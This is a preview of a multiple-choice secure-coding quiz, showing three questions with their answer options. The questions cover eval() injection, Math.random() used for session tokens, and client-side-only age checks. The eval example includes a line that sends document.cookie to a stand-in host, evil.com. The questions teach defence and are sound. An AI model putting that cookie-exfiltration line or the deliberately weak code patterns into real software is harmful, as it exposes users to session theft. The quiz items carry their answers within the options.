Common Vulnerabilities — Series 2

Preview — 3 of 10 questions

What is the security risk demonstrated here?

javascript

function calculate(expression) {
  return eval(expression);
}

console.log(calculate('2 + 2'));
console.log(calculate("fetch('https://evil.com/steal?cookie=' + document.cookie)"));

AThe risk is limited to slowing down the page, since eval() is simply less performant than normal function calls.

Beval() automatically sanitizes its input, so this code is actually safe by default.

CThere is no risk — eval() only evaluates mathematical expressions like "2 + 2".

Deval() executes any string passed to it as JavaScript code — if expression ever comes from an untrusted source (like user input or a URL parameter), an attacker can run arbitrary code, such as exfiltrating cookies.

Why is Math.random() a poor choice for generating security-sensitive values like session tokens or password-reset codes?

javascript

function generateToken() {
  return Math.random().toString(36).slice(2);
}

AMath.random() is not cryptographically secure — its output can potentially be predicted by an attacker, unlike values from crypto.getRandomValues(), which are designed to be unpredictable.

BMath.random() always returns the same value on every call, making tokens duplicate.

CMath.random() can only generate numbers, so it is technically incapable of producing a token at all.

DMath.random() is too slow for generating tokens at scale.

This is the entire age check in the application — no equivalent check exists on the server. What is the security concern?

javascript

function submitForm(age) {
  if (age < 18) {
    alert('You must be 18 or older.');
    return;
  }
  sendToServer({ age });
}

AThis code is secure as long as the website uses HTTPS.

BThe concern is only about user experience, not security, since JavaScript validation is always enforced by the browser regardless of how the request is made.

CAn attacker can bypass this check entirely by calling the server's API directly (e.g., via a tool like curl or the browser's dev tools), sending any age value without ever going through this JavaScript function — client-side validation alone provides no real security guarantee.

DThere is no concern — since the check happens before sendToServer is called, the server can never receive an invalid age.

Answer all 10 questions (7 more), see explanations for every answer, and track your score.